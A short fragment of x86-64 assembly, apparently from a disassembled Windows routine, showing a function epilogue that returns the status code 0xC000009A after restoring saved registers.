mov eax, 0xc000009a
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret